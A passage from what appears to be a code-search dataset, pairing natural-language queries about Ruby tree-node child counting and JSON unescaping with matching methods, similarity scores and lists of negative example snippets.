array\n\t\t\t\t@move_c = @move_c.sample # Only one move can be made\n\t\t\t\t@move_c # Final move to block the other player's winning combination\n\t\tend\n\tend",
"def moves\n possible_moves = []\n dir do |dir|\n possible_moves += MyDirections(pos, dir)\n end\n possible_moves\n end",
"def possible_pawn_moves(start_arr)\n\t\tx = start_arr[1]\n\t\ty = start_arr[0]\n\t\tcandidates = []\n\t\tcandidates << [y+1, x]\n\t\t# If pawn has not moved before, it can take a double step straight forward.\n\t\tif y == 1\n\t\t\tcandidates << [y+2, x]\n\t\tend\n\t\tchoices = []\n\t\t# Not a candidate if player's own pieces in the way\n\t\tcandidates.delete_if do |pos|\n\t\t\tif !(@board[pos] == \"*\") && (@board[pos].color == @board[start_arr].color)\n\t\t\t\ttrue\n\t\t\tend\n\t\tend\n\t\t# Can only move up 2 pieces if no pieces in the way.\n\t\tif (candidates.include? [y+2, x]) && !(candidates.include? [y+1,x])\n\t\t\tcandidates = []\n\t\tend\n\t\t# Make sure possible move is on the board\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\tend",
"def knight_moves(from, to)\r\n if from == to\r\n return to\r\n end\r\n queue = []\r\n #hash for tracking paths taken, initialized with start location\r\n paths_list = {from.to_s.to_sym => [from]}\r\n #This tracks if we have made a particular move from the current node\r\n #values are stored as symbolized node + move type \r\n visited = {}\r\n answer = []\r\n done = false\r\n #start location\r\n queue.push from\r\n\r\n until queue.empty? || done do\r\n #get first item in queue\r\n node = queue.shift\r\n\r\n @@moves.each do |move_type, offset|\r\n destinaiton = [node[0] + offset[0], node[1] + offset[1]]\r\n \r\n if @board.in_bounds?(destinaiton) && !visited[(node.to_s + move_type.to_s).to_sym]\r\n visited[(node.to_s + move_type.to_s).to_sym] = true\r\n queue.push destinaiton\r\n \r\n #track backward the path taken\r\n paths_list[destinaiton.to_s.to_sym] = (paths_list[node.to_s.to_sym] + [destinaiton])\r\n if to == destinaiton\r\n answer = paths_list[destinaiton.to_s.to_sym]\r\n done = true\r\n break\r\n end\r\n end\r\n end\r\n end\r\n answer\r\n end"
] |
[
"0.7960609",
"0.7929445",
"0.7898043",
"0.78408843",
"0.7643922",
"0.75717896",
"0.753551",
"0.7497893",
"0.7492138",
"0.7476726",
"0.7451445",
"0.7445694",
"0.74324775",
"0.7417555",
"0.73717844",
"0.73292977",
"0.72824574",
"0.7231368",
"0.7225667",
"0.7222458",
"0.72011167",
"0.7188351",
"0.71827894",
"0.7170773",
"0.7159199",
"0.7155549",
"0.7150642",
"0.7132576",
"0.71268064",
"0.71158236",
"0.7115671",
"0.71065855",
"0.7102165",
"0.7097441",
"0.7092446",
"0.70824677",
"0.7074019",
"0.70684075",
"0.7067235",
"0.7066728",
"0.7049731",
"0.7043349",
"0.7029296",
"0.7026714",
"0.70150524",
"0.7010835",
"0.70038354",
"0.6966411",
"0.69596756",
"0.6955847",
"0.6955665",
"0.6948228",
"0.69456947",
"0.69386363",
"0.6930979",
"0.6930279",
"0.6921712",
"0.69064164",
"0.6903366",
"0.6884481",
"0.6883072",
"0.6874132",
"0.6867581",
"0.6864105",
"0.6863217",
"0.68215257",
"0.6815647",
"0.6815173",
"0.6805401",
"0.6805043",
"0.6795357",
"0.6784602",
"0.67824316",
"0.67819744",
"0.67817426",
"0.6780949",
"0.6778592",
"0.6771761",
"0.6768979",
"0.67640084",
"0.67580676",
"0.67553264",
"0.674042",
"0.6726791",
"0.6713967",
"0.67137635",
"0.6710877",
"0.67026883",
"0.669644",
"0.66669333",
"0.66567683",
"0.66459125",
"0.66380906",
"0.6633203",
"0.6632122",
"0.66301996",
"0.66253334",
"0.6621793",
"0.6615787",
"0.66053855"
] |
0.6819195
|
66
|
Recursively gets the number of children of a node
|
def count_children(node)
return 0 if node.children.nil?
node.children.count + (node.children.map {|child| count_children(child)}).inject(&:+)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def num_children\n count = 0\n self.children.each do |child|\n count = count + child.num_children\n end\n\n return self.children.size + count\n end",
"def nodeCount\n count = 1\n\n if @children.size\n @children.each do |key, val|\n count += val.nodeCount\n end\n end\n\n count\n end",
"def count_children\n count = children.count\n if count\n children.each { |child| count += child.count_children }\n end\n count\n end",
"def child_count(node, count = 0)\n return count if node.nil?\n if !node.is_a? Node\n child_count(find(node))\n else\n count += 1 if !node.left.nil?\n count += 1 if !node.right.nil?\n end\n count\n end",
"def count_child_nodes(hash = self)\n count = 0\n walk_tree(hash) do\n count += 1\n end\n count\n end",
"def count_nodes(node = @root)\n node.children.map do |child_node|\n @node_count +=1\n # binding.pry if child_node.is_word\n count_nodes(child_node)\n end\n @node_count\n end",
"def number_of_children\n @children.size\n end",
"def child_count(*args)\n child_rels(*args).size\n end",
"def num_children\n @children.size\n end",
"def subtree_count(*args)\n subtree_rels(*args).size\n end",
"def children_size\n leaf? ? 0 : children.map(&:size).reduce(:+)\n end",
"def num_children\n `#@native.numChildren()`\n end",
"def total_child_count\n count = 0\n self.apply_to_children { |e| count += 1 }\n count\n end",
"def render_child_count(node = @tree.root)\n @stack.push(node)\n child_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child_count += 1\n end\n end\n child_count\n end",
"def _num_of_children(root)\n return [ 0, nil, nil ] if root.nil?\n #\n n = root.lnode.nil? ? 0 : 1\n n += root.rnode.nil? ? 0 : 1\n [n, root.lnode, root.rnode]\n end",
"def size(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_size = size(node.left_child)\n right_size = size(node.right_child)\n return left_size + 1 + right_size\n end\nend",
"def child_element_count\n num = 0\n self.each_child_node do |n|\n if n.node_type == ELEMENT_NODE then\n num += 1\n end\n end\n return num\n end",
"def children_count\n 0 if @left.nil? && @right.nil?\n 1 if @left.nil? || @right.nil?\n 2\n end",
"def length\n @children.length\n end",
"def count_leaf_nodes(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_leaves = count_leaf_nodes(node.left_child)\n right_leaves = count_leaf_nodes(node.right_child)\n return left_leaves + right_leaves\n end\nend",
"def children_count(id)\n wait_for_ajax do\n page.driver.browser.execute_script(<<-JS)\n return Ext.ComponentQuery.query('treepanel')[0].getStore().getNodeById('#{id}').childNodes.length;\n JS\n end\n end",
"def descendant_count(*args)\n descendant_rels(*args).size\n end",
"def number_of_nodes(node_name)\n nodes(node_name).count\nend",
"def test_recursive_methods\n assert_equal 0, find_node(1).ancestors_r.size\n assert_equal 8, find_node(1).descendants_r.size\n assert_equal 4, find_node('1_1_2_1_1').ancestors_r.size\n end",
"def size\n @children.size\n end",
"def fulltree_count(*args)\n fulltree_rels(*args).size\n end",
"def depth\n return 0 unless has_children?\n children.inject(0) {|dep,c| dep > c.depth ? dep : c.depth} + 1\n end",
"def total_depth(node, depth = 0)\n @d = depth\n @d = @d + 1 if node.children.size > 0\n node.children.map{|c| x = total_depth(c,@d) - 1; @d = x if x > @d }\n return @d\nend",
"def parent_count(*args)\n parent_rels(*args).size\n end",
"def count_nodes\n @page.xpath(\"//*\").count\n end",
"def subtree_size(node)\n return 0 if node.nil?\n\n 1 + subtree_size(node.left) + subtree_size(node.right)\n end",
"def count_children(color:)\n if color == \"no other\"\n 0\n else\n children_counts = BAG_MAP_2[color].map { |content_arry| content_arry.first }\n children = children_counts.inject(0) { |sum,x| sum + x }\n\n ary = BAG_MAP_2[color]\n\n ary.each do |arry_content|\n num = arry_content.first\n col = arry_content.last\n\n children += num * count_children(color: col)\n end\n\n children\n end\nend",
"def render_child_type_count(node = @tree.root)\n @stack.push(node)\n result_hash = {}\n tag_count = 0\n content_count = 0\n until @stack.empty?\n current_node = @stack.pop\n current_node.children.each do |child|\n @stack.push(child)\n child.data.each do |key, value|\n if result_hash[key].nil?\n result_hash[key] = 1\n else\n result_hash[key] += 1\n end\n end\n\n end\n end\n result_hash[:total_nodes] = render_child_count(node)\n result_hash.delete(:type)\n result_hash\n end",
"def size(tree)\n if isEmpty?(tree)\n 0\n else\n 1 + size(tree.left) + size(tree.right)\n end\nend",
"def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end",
"def get_number_of_root_elements(elements)\n num = 0\n parent_field = @db_fields[:parent]\n elements.each do |e|\n num += 1 if e.send(parent_field) == 0\n end\n num\n end",
"def num_documents_include_tree_children\n num_documents_include_tree_children_rec( self )\n end",
"def children_count\n return (self[nested_set_right] - self[nested_set_left] - 1) / 2\n end",
"def sibling_count(*args)\n sibling_rels(*args).size\n end",
"def num_children\n super\n end",
"def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end",
"def calculate_num_children\n for x in @lattice do\n for c in @lattice.lower_covers[x] do\n if @irreducibles.contain?(c) then\n @num_children[x] += 1\n end\n end\n end\n end",
"def children_depth\n leaf? ? 0 : children.map(&:depth).max\n end",
"def number_of_living_descendants\n count_descendants_matching { |d| d.alive? }\nend",
"def length\n @tree.length\n end",
"def number_of_parents\n if self.is_parent\n return 0\n else\n return 1 + self.parent.number_of_parents\n end\n end",
"def size_without_recursion\n count = 0\n return 0 unless @root\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n while !q.isEmpty?\n node = q.dequeue\n count += 1\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n count\n end",
"def width\n return 1 unless has_children?\n children.inject(0) {|sum,c| sum + c.width}\n end",
"def total_node_number(tree)\n if tree.root == nil\n 0\n else\n left_tree = MyBinaryTree.new\n left_tree.root = tree.root.left_child\n right_tree = MyBinaryTree.new\n right_tree.root = tree.root.right_child\n 1+total_node_number(left_tree)+total_node_number(right_tree)\n end\nend",
"def segment_count\n children.map(&:segment_count).inject(:+).to_i + 2\n end",
"def max_children_count(k)\n check_val(k)\n @stats[:nodes_with_max_children] = PriorityQueue.new(k)\n get_max_children(@xmldoc,k)\n puts \"the text of the #{k} most branching nodes, with its number of children:\"\n @stats[:nodes_with_max_children].each() {|count,ele| puts \"#{count}\\t#{ele}\"}\n end",
"def children_count\n return (self[acts_as_nested_set_options[:right_column]] - self[acts_as_nested_set_options[:left_column]] - 1)/2\n end",
"def height(node)\n if node.nil?\n return 0\n elsif node.left_child.nil? && node.right_child.nil?\n return 1\n else\n left_height = height(node.left_child)\n right_height = height(node.right_child)\n if left_height >= right_height\n return left_height + 1\n else\n return right_height + 1\n end\n end\nend",
"def depth\n children_depth + my_depth\n end",
"def children_size\n size = locations.size\n locations.each{|location|\n locations = location.locations\n if locations.present?\n size += location.children_size\n end\n }\n return size\n end",
"def all_children_count(scope = nil)\n return all_children(scope).length if scope.is_a?(Hash)\n return (self[right_col_name] - self[left_col_name] - 1)/2\n end",
"def size\n return @tree.size\n end",
"def ancestors_count(*args)\n ancestor_rels(*args).size\n end",
"def wordCount\n count = 0\n\n if (@word.to_s != '')\n count += 1\n end\n\n if @children.size\n @children.each do |key, val|\n count += val.wordCount\n end\n end\n\n count\n end",
"def count_node(node, counter)\n return counter if node.tail?\n count_node(node.next_node, counter += 1)\nend",
"def size(root)\n leftCount = root.left ? size(root.left) : 0\n rightCount = root.right ? size(root.right) : 0\n return 1 + leftCount + rightCount\n end",
"def has_children()\n return 1 if(@children.length > 0)\n 0\n end",
"def num_nests\n my_nests.length\n end",
"def getNodeElementCount\n return @nodeElements.size\n end",
"def node_count\n raise NotImplementedError\n end",
"def size\n count = 0\n visit_nodes do\n count += 1\n end\n count\n end",
"def size\n count = 1\n node = @node\n\n while node.next\n count += 1\n node = node.next\n end\n\n count\n end",
"def num_tree_levels\n level = 0\n num_nodes= all_node_values_with_nil.length # considers tree as 'complete\n num_nodes_in_full_tree = 2**level\n until num_nodes_in_full_tree >= num_nodes\n level += 1\n num_nodes_in_full_tree += 2**level\n end\n num_tree_levels = level + 1 # (started count at 0)\n num_tree_levels = 0 if @root.nil?\n return num_tree_levels\n end",
"def num_documents_include_tree_children_rec(parent_cluster) \n num_total = parent_cluster.num_documents\n\n parent_cluster.tree_children.each do |child|\n num_total += child.num_documents_include_tree_children\n end\n\n return num_total\n end",
"def size\n return 0 if empty?\n count_node(head, 1)\nend",
"def count_node(node, counter)\n until node.tail?\n node = node.next_node\n counter += 1\n end\ncounter\nend",
"def height_nodes(root)\n return 0 if root == nil\n\n left = height_nodes(root.left)\n right = height_nodes(root.right)\n\n if left > right\n h = 1 + left\n else\n h = 1 + right\n end\n\n return h\n\nend",
"def child_count(type=nil)\n if ((type != Resource::RESOURCE) && (type != Resource::LEARNING_COLLECTION) && (type != Resource::COLLECTION_OBJECT) && (type != Resource::EXHIBITION))\n type = nil\n end\n if (type == nil)\n responses = Resource.where(\"in_response_to_resource_id = ? AND response_banned_on IS ?\", self.id, nil)\n return self.children.length - responses.length\n end\n\n # TODO: cache this\n r = ResourceHierarchy.joins(:child_resource).where(\"resources.resource_type = ? AND resource_hierarchies.resource_id = ?\", type, self.id)\n return r.length\n end",
"def depth(key, count = 0, child = key)\n count += 1\n if root.data == child\n return count - 1\n else\n parent = find_parent(child).data\n depth(key, count, parent)\n end\n end",
"def actual_amount\n children.length\n end",
"def orbit_count\n return 0 unless @root\n sum_of_depths = 0\n nodes_to_traverse = [{ node: @root, depth: 0 }]\n until nodes_to_traverse.empty?\n node_pair = nodes_to_traverse.shift\n node = node_pair[:node]\n depth = node_pair[:depth]\n sum_of_depths += depth\n node.children.each { |child| nodes_to_traverse << { node: child, depth: depth + 1 } }\n end\n sum_of_depths\n end",
"def total_bags_inside\n children.size + children.map(&:total_bags_inside).sum\n end",
"def total_count\n object.nodes.size\n end",
"def size_support(node)\n return 0 if node.nil?\n size_support(node.left) + 1 + size_support(node.right)\n end",
"def count(node = head)\n if node.nil?\n 0\n else\n 1 + count(node.next_node)\n end\n end",
"def countDown(root = @root)\r\n #if there are no children, return one to count that node\r\n return 1 if not root.children.any?\r\n #array to store each possible depth\r\n branches = []\r\n root.children.each do | child |\r\n #recursively find each child and add one for each\r\n branches.push(countDown(child) + 1)\r\n end \r\n #all possible depthes are in branches, return the deepest\r\n return branches.max\r\n end",
"def num_below\n count = 0\n node_maps.each do |node_map|\n node_map.children.each do |child|\n # Child is one of us as well - include it and check its children\n if child.node.class.ancestors.include?(self.class)\n count = count + 1 + child.node.num_below\n end\n end\n end\n count\n end",
"def node_depths(root, depth = 0)\n if root.nil?\n return 0\n end\n\n return depth + node_depths(root.left, depth + 1) + node_depths(root.right, depth + 1)\nend",
"def children\n node.children\n end",
"def size\n children_size + my_size\n end",
"def num_below\n\t\t\tcount = 0\n\t\t\tself.node_maps.each { |node_map|\n\t\t\t\tnode_map.children.each { |child|\n\t\t\t\t\t# Child is one of us as well - include it and check its children\n\t\t\t\t\tif child.node.class.ancestors.include?(self.class)\n\t\t\t\t\t\tcount = count + 1 + child.node.num_below\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t}\n\t\t\tcount\n\t\tend",
"def node_count(type = nil)\n if type\n value = @db.m_get(\"node#{type}\")\n if value\n value.to_i\n end\n else\n @db.m_get(\"n\").to_i\n end\n end",
"def descendants_count_bfs(options={})\n count = 0\n each_level_ids(options) do |level_ids|\n count += level_ids.count\n end\n return count\n end",
"def get_max_children(node,k)\n counter = 0\n node.elements.each() {|node|\n get_max_children(node,k)\n counter +=1\n }\n @stats[:nodes_with_max_children].add(counter,node.text.strip()) {|a,b| a<b }\n end",
"def node_depths(root)\n sum_of_depths = 0\n stack = [{\"node\"=> root, \"depth\"=> 0}]\n\n while stack.length > 0\n node_info = stack.pop()\n node, depth = node_info[\"node\"], node_info[\"depth\"]\n if node.nil?\n next\n end\n sum_of_depths += depth\n stack.append({\"node\"=> node.left, \"depth\"=> depth + 1})\n stack.append({\"node\"=> node.right, \"depth\"=> depth + 1})\n end\n return sum_of_depths\n\nend",
"def count\n if @head.data == nil\n node_count = 0\n else\n node_count = 0\n node = @head\n until node.nil?\n node = node.next_node\n node_count += 1\n end\n end\n node_count\n end",
"def superclass_count(node)\n count = 0\n n = node\n while n = n.superclass\n count += 1\n end\n count\n end",
"def leaves(node)\n return 1 if /\\d+/.match(node.value)\n return (leaves(node.left) + leaves(node.right))\nend",
"def num_clusters_include_tree_children\n num_clusters_include_tree_children_rec( self )\n end",
"def rowCount(parent)\n if info = info_from_index(parent)\n info.children.size\n else 0\n end\n end",
"def depth\n ancestors.count\n end",
"def depth\n ancestors.count\n end",
"def get_children_recursion(node)\n\tif node.class == SOCIAL_NETWORK[0].class\n\t\tnode.children.each do |child|\n\t\t\tget_children_recursion(delegate_word(child))\n\t\tend\n\tend\nend",
"def all_children_count\n return (self[right_col_name] - self[left_col_name] - 1)/2\n end",
"def size\n return 0 if @head.nil?\n\n quantity = 1\n node = @head\n until node.next_node.nil?\n quantity += 1\n node = node.next_node\n end\n\n quantity\n end"
] |
[
"0.8164399",
"0.81610334",
"0.8152095",
"0.80179775",
"0.80056554",
"0.7857073",
"0.7850586",
"0.77509224",
"0.77185154",
"0.7679977",
"0.76256555",
"0.7606697",
"0.7579198",
"0.74554014",
"0.74243027",
"0.7409021",
"0.7337356",
"0.7307475",
"0.72675633",
"0.72146225",
"0.7206141",
"0.72021425",
"0.71171993",
"0.71069056",
"0.70396733",
"0.69996005",
"0.69611007",
"0.6960031",
"0.691739",
"0.69132054",
"0.6912311",
"0.6852616",
"0.6841873",
"0.683599",
"0.6825727",
"0.6822766",
"0.6821637",
"0.68104607",
"0.68091154",
"0.6780954",
"0.6767244",
"0.676658",
"0.67036796",
"0.67031497",
"0.6671265",
"0.6655048",
"0.6648136",
"0.6632643",
"0.66254985",
"0.66188353",
"0.661647",
"0.660675",
"0.6599179",
"0.65424925",
"0.6539827",
"0.6535381",
"0.65262765",
"0.6516985",
"0.65137637",
"0.65119267",
"0.6498024",
"0.6492417",
"0.64840585",
"0.64789355",
"0.64764917",
"0.6460657",
"0.64599454",
"0.6447394",
"0.6444347",
"0.6432646",
"0.6423161",
"0.64177626",
"0.64142865",
"0.64044136",
"0.63866496",
"0.63811207",
"0.6378078",
"0.63741237",
"0.6347587",
"0.6336458",
"0.6328571",
"0.6306482",
"0.6297793",
"0.6286734",
"0.6282995",
"0.62815195",
"0.62535226",
"0.62520564",
"0.62324375",
"0.62292844",
"0.62138885",
"0.6212579",
"0.6187492",
"0.61868554",
"0.61851066",
"0.6179498",
"0.6179498",
"0.61571234",
"0.6149283",
"0.61442983"
] |
0.8529156
|
0
|
ruby escapes \ with double \\, to support slack multipline text, we have to unescape json output
|
def unescapeJson(jsonObj)
temp = JSON.generate(jsonObj)
temp.gsub! '\\\\', '\\'
return temp
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def json_escape(str)\n str.to_s.gsub('/', '\\/')\n end",
"def json_escape_string(s)\n return s if s !~ /[\"\\\\\\b\\f\\n\\r\\t]/\n\n result = \"\"\n s.split(\"\").each do |c|\n case c\n when '\"', \"\\\\\"\n result << \"\\\\\" << c\n when \"\\n\" then result << \"\\\\n\"\n when \"\\t\" then result << \"\\\\t\"\n when \"\\r\" then result << \"\\\\r\"\n when \"\\f\" then result << \"\\\\f\"\n when \"\\b\" then result << \"\\\\b\"\n else\n result << c\n end\n end\n result\n end",
"def consume_escaped; end",
"def json_escape(s)\n s.to_s.gsub(/[&\"><]/) { |special| JSON_ESCAPE[special] }\n end",
"def json_escape(s)\n s.to_s.gsub(/[&\"><]/) { |special| JSON_ESCAPE[special] }\n end",
"def blazer_json_escape(s)\n if Rails::VERSION::STRING < \"4.1\"\n result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)\n s.html_safe? ? result.html_safe : result\n else\n json_escape(s)\n end\n end",
"def escape_json_string(str)\n begin\n \"\\\"#{\n str.gsub(/[\\010\\f\\n\\r\\t\"\\\\><&]/) { |s| ESCAPED_CHARS[s] }.\n gsub(/([\\xC0-\\xDF][\\x80-\\xBF]|\n [\\xE0-\\xEF][\\x80-\\xBF]{2}|\n [\\xF0-\\xF7][\\x80-\\xBF]{3})+/nx) do |s|\n s.unpack(\"U*\").pack(\"n*\").unpack(\"H*\")[0].gsub(/.{4}/, '\\\\\\\\u\\&')\n end\n }\\\"\"\n rescue Encoding::CompatibilityError\n rawbytes = str.dup.force_encoding 'ASCII-8BIT'\n escape_json_string(rawbytes)\n end\n end",
"def escaped_json\n json = to_json(:include => :trade_lines)\n return CGI.escape(json)\n end",
"def e_sh_js(str)\n (e_sh str).gsub(\"\\\\\", \"\\\\\\\\\\\\\\\\\")\nend",
"def test_json_escape\n assert_render(\n %(<%= j \"is a > 0 & a < 10?\" %>) => \n %(is a \\\\u003E 0 \\\\u0026 a \\\\u003C 10?))\n end",
"def parse_escaped_chars; end",
"def convert_slashes(path)\n path.gsub('/', '\\\\').gsub('\\\\', '\\\\\\\\\\\\\\\\') #eek\n end",
"def escape_str(str)\n str.gsub!(/[`\\\\]/, '\\\\\\\\\\&')\n str.gsub!(/\\r\\n/, \"\\\\r\\r\\n\") if @newline == \"\\r\\n\"\n return str\n end",
"def escape_hack(string)\n string.gsub('\\\\', '\\\\\\\\\\\\')\n end",
"def lex_en_interp_backslash_delimited; end",
"def lex_en_interp_backslash_delimited; end",
"def lex_en_interp_backslash_delimited; end",
"def lex_en_plain_backslash_delimited; end",
"def lex_en_plain_backslash_delimited; end",
"def lex_en_plain_backslash_delimited; end",
"def escape(text)\n return text.gsub(/[\\`*_{}\\[\\]()#+\\-.!]/, \"\\\\\\\\\\\\0\")\n end",
"def escape(str)\n str.gsub(/\\t/, '\\t').gsub(/\\n/, '\\n').gsub(/\\\\/, \"\\\\\\\\\\\\\")\n end",
"def escape(input); input.to_s.gsub('\"', '\\\\\"'); end",
"def sub_line_ending_backslashes(file_text)\n backslash_replacement = '# TAILOR REMOVED BACKSLASH'\n file_text.gsub!(/\\\\\\s*\\n?$/, backslash_replacement)\n\n file_text\n end",
"def unescape_component(x)\n # temporarily escape \\\\ as \\007f, which is disallowed in any text\n x.gsub(/\\\\\\\\/, \"\\u007f\").gsub(/\\\\;/, \";\").gsub(/\\\\,/, \",\").\n gsub(/\\\\[Nn]/, \"\\n\").tr(\"\\u007f\", \"\\\\\")\n end",
"def escape(text)\n text.gsub('\"', '\\\"')\nend",
"def escape_text(text)\n text\n end",
"def escape_js_string(text)\n text\n .gsub(/(['\\\\])/, \"\\\\\\\\\\\\1\")\n .gsub(/[\\f]/, '\\f')\n .gsub(/[\\b]/, '\\b')\n .gsub(/[\\n]/, '\\n')\n .gsub(/[\\t]/, '\\t')\n .gsub(/[\\r]/, '\\r')\n .gsub(/[\\u2028]/, '\\u2028')\n .gsub(/[\\u2029]/, '\\u2029')\n end",
"def escape_str(str)\n str.gsub!(/[\\\\`\\#]/, '\\\\\\\\\\&')\n str.gsub!(/\\r\\n/, \"\\\\r\\r\\n\") if @newline == \"\\r\\n\"\n return str\n end",
"def escape(string); end",
"def unescape(x)\n # temporarily escape \\\\ as \\007f, which is disallowed in any text\n x.gsub(/\\\\\\\\/, \"\\u007f\").gsub(/\\\\,/, \",\").gsub(/\\\\[Nn]/, \"\\n\").\n tr(\"\\u007f\", \"\\\\\")\n end",
"def escape_shell_string(str)\n str = str.gsub(/\\\\/, \"\\\\\\\\\\\\\")\n str = str.gsub(/\"/, \"\\\\\\\"\")\n str = str.gsub(/`/, \"\\\\`\")\n str = str.gsub(/;/, \"\\\\;\")\n str = str.gsub(/&/, \"\\\\&\")\n str = str.gsub(/\\|/, \"\\\\|\")\n str = str.gsub(/\\$/, \"\\\\$\")\n str = str.gsub(/ /, \"\\\\ \")\n str\n end",
"def extra_escape(string)\n string.gsub('\\\\', '\\\\\\\\\\\\').\n gsub(\"\\\\'\", '\\\\\\\\' + \"'\").\n gsub('\\\\\\\\\\\\', '\\\\\\\\\\\\')\n end",
"def unescape( value )\n return value unless @escape\n\n value = value.to_s\n value.gsub!(%r/\\\\[0nrt\\\\]/) { |char|\n case char\n when '\\0'; \"\\0\"\n when '\\n'; \"\\n\"\n when '\\r'; \"\\r\"\n when '\\t'; \"\\t\"\n when '\\\\\\\\'; \"\\\\\"\n end\n }\n value\n end",
"def shell_escape(string)\n return string.gsub(/\\\\/, \"\\\\\\\\\\\\\").gsub(/\\\"/, \"\\\\\\\"\").gsub(/\\$/, \"\\\\\\$\").gsub(/\\`/, \"\\\\\\\\\\`\")\n end",
"def escape(str); end",
"def inspect\n `/* borrowed from json2.js, see file for license */\n var cx = /[\\u0000\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,\n\n escapable = /[\\\\\\\"\\x00-\\x1f\\x7f-\\x9f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g,\n\n meta = {\n '\\b': '\\\\b',\n '\\t': '\\\\t',\n '\\n': '\\\\n',\n '\\f': '\\\\f',\n '\\r': '\\\\r',\n '\"' : '\\\\\"',\n '\\\\': '\\\\\\\\'\n };\n\n escapable.lastIndex = 0;\n\n return escapable.test(self) ? '\"' + self.replace(escapable, function (a) {\n var c = meta[a];\n return typeof c === 'string' ? c :\n '\\\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);\n }) + '\"' : '\"' + self + '\"';`\n end",
"def escape_string (string)\n string.gsub(/([\\x00-\\x1f\\x21-\\x2f\\x3a-\\x40\\x5b-\\x5e\\x60\\x7b-\\x7f])/, '\\\\\\\\\\\\1')\n end",
"def text(text)\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n \"@output_buffer.safe_concat('#{text}'); \"\n end",
"def escaped_value(item)\n result = item.is_a?(Symbol) ? item.to_s : item\n result = result.to_json unless result.is_a?(String)\n # noinspection RubyMismatchedArgumentType\n Rack::Utils.escape(result)\n end",
"def escape_javascript(javascript)\r\n return javascript.gsub(/[\\010\\f\\n\\r\\t\"\\\\]/) { |s|\r\n JSON_ESCAPED[s]\r\n }\r\n end",
"def reduce_backslash(_production, _range, _tokens, _children)\n # Double the backslash (because of escaping)\n string_literal('\\\\', true)\n end",
"def escape_backslashes(string)\n string.gsub(/\\\\(\\s+|$)/) { '\\\\\\\\' + $1.to_s }\n end",
"def escape_value(value)\n value = value.to_s.dup\n value.gsub!(%r{\\\\([0nrt])}, '\\\\\\\\\\1')\n value.gsub!(%r{\\n}, '\\n')\n value.gsub!(%r{\\r}, '\\r')\n value.gsub!(%r{\\t}, '\\t')\n value.gsub!(%r{\\0}, '\\0')\n value\n end",
"def e(str)\n str.to_s.gsub(/(?=[^a-zA-Z0-9_.\\/\\-\\x7F-\\xFF\\n])/n, '\\\\').\n gsub(/\\n/, \"'\\n'\").\n sub(/^$/, \"''\")\n end",
"def unescape_value(value)\n value = value.to_s\n value.gsub!(%r{\\\\[0nrt\\\\]}) do |char|\n case char\n when '\\0' then \"\\0\"\n when '\\n' then \"\\n\"\n when '\\r' then \"\\r\"\n when '\\t' then \"\\t\"\n when '\\\\\\\\' then '\\\\'\n end\n end\n value\n end",
"def lex_en_plain_backslash_delimited=(_arg0); end",
"def lex_en_plain_backslash_delimited=(_arg0); end",
"def lex_en_plain_backslash_delimited=(_arg0); end",
"def escape_string(str)\n str.gsub(/[\\0\\n\\r\\\\\\'\\\"\\x1a]/) do |s|\n case s\n when \"\\0\" then \"\\\\0\"\n when \"\\n\" then \"\\\\n\"\n when \"\\r\" then \"\\\\r\"\n when \"\\x1a\" then \"\\\\Z\"\n else \"\\\\#{s}\"\n end\n end\n end",
"def escape_string(str)\n str.gsub(/[\\0\\n\\r\\\\\\'\\\"\\x1a]/) do |s|\n case s\n when \"\\0\" then \"\\\\0\"\n when \"\\n\" then \"\\\\n\"\n when \"\\r\" then \"\\\\r\"\n when \"\\x1a\" then \"\\\\Z\"\n else \"\\\\#{s}\"\n end\n end\n end",
"def escape_literal(text)\n text\n end",
"def escape_string(str)\n str.gsub(/([\\0\\n\\r\\032\\'\\\"\\\\])/) do\n case $1\n when \"\\0\" then \"\\\\0\"\n when \"\\n\" then \"\\\\n\"\n when \"\\r\" then \"\\\\r\"\n when \"\\032\" then \"\\\\Z\"\n else \"\\\\\"+$1\n end\n end\n end",
"def escape(line)\n s = line.sub(/\\s+$/, '').\n gsub(/\\\\/, \"\\\\bs\\?C-q\").\n gsub(/([_\\${}&%#])/, '\\\\\\\\\\1').\n gsub(/\\?C-q/, \"{}\").\n gsub(/\\^/, \"\\\\up{}\").\n gsub(/~/, \"\\\\sd{}\").\n gsub(/\\*/, \"$*$\").\n gsub(/<</, \"<{}<\").\n gsub(/>>/, \">{}>\").\n gsub(/\\[\\]/, \"$[\\\\,]$\").\n gsub(/,,/, \",{},\").\n gsub(/`/, \"\\\\bq{}\")\n s\nend",
"def deslash( str )\n str.gsub( '\\\\\"', '\"' ).gsub( \"\\\\\\\\\", \"\\\\\" )\n end",
"def dequote(in_string)\n in_string.gsub(/[$,\"\\\\\\n]/) {|x| \"\\\\\"+x}\n end",
